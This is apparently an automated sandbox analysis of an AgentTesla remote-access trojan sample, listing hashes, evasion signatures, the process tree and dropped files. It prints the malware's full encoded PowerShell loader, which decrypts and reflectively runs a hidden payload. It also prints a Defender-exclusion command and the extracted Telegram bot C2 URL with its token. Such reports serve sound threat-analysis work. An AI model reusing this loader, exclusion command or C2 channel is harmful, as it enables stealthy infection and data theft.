Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/05/2024, 18:34

General

  • Target

    file.exe

  • Size

    1.0MB

  • MD5

    e77cf047d33d9bed9d10494ed11c68f1

  • SHA1

    b6dfe123d998dc453d4263b5876414d1825a07a8

  • SHA256

    1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00

  • SHA512

    b8797aec5bda5fae2b0423c53106dd2c6d3770fb9a72d7d6997a6741353a9fb6634e6c0a468655fe98efd0e0eddd73831b0ad56d3a40948c006ad2f6096ed52d

  • SSDEEP

    24576:V74FSZ6wPMZ82ZtSgSJDuyWqM5Wb+EjbL:148ACMZ82ZkgDyo2Jr

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6941402653:AAGD6Af00jBZM3CSU3pjKxYbW7aazMmc_10/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYARQAsACAAMAB4ADYAMwAsACAAMAB4AEYAOQAsACAAMAB4ADUAMAAsACAAMAB4AEUAQgAsACAAMAB4ADgAMwAsACAAMAB4AEQAMQAsACAAMAB4ADcAQgAsACAAMAB4ADUAQgAsACAAMAB4AEUANQAsACAAMAB4AEUANAAsACAAMAB4ADYAMAAsACAAMAB4AEMANQAsACAAMAB4AEQARQAsACAAMAB4ADQAQgAsACAAMAB4ADgAQQAsACAAMAB4ADQAMAAsACAAMAB4ADgANAAsACAAMAB4AEMAMgAsACAAMAB4ADUAMgAsACAAMAB4AEIANwAsACAAMAB4ADgAMAAsACAAMAB4AEMAQQAsACAAMAB4ADEARAAsACAAMAB4ADEANgAsACAAMAB4ADQARAAsACAAMAB4AEIAQQAsACAAMAB4ADEANwAsACAAMAB4ADUANAAsACAAMAB4AEIAQQAsACAAMAB4AEQAOAAsACAAMAB4ADEARQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA4ADUALAAgADAAeAA3ADMALAAgADAAeAAxADUALAAgADAAeAAyAEQALAAgADAAeABCADYALAAgADAAeAA0ADEALAAgADAAeABGADMALAAgADAAeAA1AEYALAAgADAAeABBAEIALAAgADAAeAA5AEUALAAgADAAeAAzADEALAAgADAAeABFAEIALAAgADAAeAA0ADIALAAgADAAeAAyADIALAAgADAAeAAwADMALAAgADAAeAAxADAAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Looks for VirtualBox Guest Additions in registry
      • Command and Scripting Interpreter: PowerShell
      • Looks for VMWare Tools registry key
      • Checks BIOS information in registry
      • Maps connected drives based on registry
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2348
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1960
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        3⤵
          PID:2328

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0l1u5ugg.ase.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\file-3149.putik

            Filesize

            34KB

            MD5

            ecfb449e8dadccead6b47a2220c41c14

            SHA1

            8ef0963d700c21da79b27375fec8b0c08b129b6d

            SHA256

            493036aba776c7aa127feb9fc3b2c9587bd7cc7491a6b133ececc471c0f06bfb

            SHA512

            46e8bc24f9a7ace6e6fc6c805b29bda090e3a6553b4dfb6092c64033e1770e3b1ca3d14be033255b7048d6a95320e2fd527eeaca132261f422015bb197334f22

          • memory/1960-30-0x00000000745EE000-0x00000000745EF000-memory.dmp

            Filesize

            4KB

          • memory/1960-41-0x00000000745EE000-0x00000000745EF000-memory.dmp

            Filesize

            4KB

          • memory/1960-40-0x0000000006820000-0x000000000682A000-memory.dmp

            Filesize

            40KB

          • memory/1960-39-0x00000000068F0000-0x0000000006982000-memory.dmp

            Filesize

            584KB

          • memory/1960-38-0x0000000006850000-0x00000000068EC000-memory.dmp

            Filesize

            624KB

          • memory/1960-37-0x0000000006760000-0x00000000067B0000-memory.dmp

            Filesize

            320KB

          • memory/1960-17-0x0000000000400000-0x0000000000444000-memory.dmp

            Filesize

            272KB

          • memory/1960-32-0x0000000005440000-0x00000000054A6000-memory.dmp

            Filesize

            408KB

          • memory/1960-31-0x00000000058F0000-0x0000000005E94000-memory.dmp

            Filesize

            5.6MB

          • memory/2348-28-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/2348-29-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/2348-18-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/2348-35-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/5052-1-0x00007FFF97E93000-0x00007FFF97E95000-memory.dmp

            Filesize

            8KB

          • memory/5052-36-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/5052-16-0x000001FB3A240000-0x000001FB3A2D8000-memory.dmp

            Filesize

            608KB

          • memory/5052-15-0x000001FB3A200000-0x000001FB3A20C000-memory.dmp

            Filesize

            48KB

          • memory/5052-13-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/5052-12-0x00007FFF97E90000-0x00007FFF98951000-memory.dmp

            Filesize

            10.8MB

          • memory/5052-5-0x000001FB3A190000-0x000001FB3A1B2000-memory.dmp

            Filesize

            136KB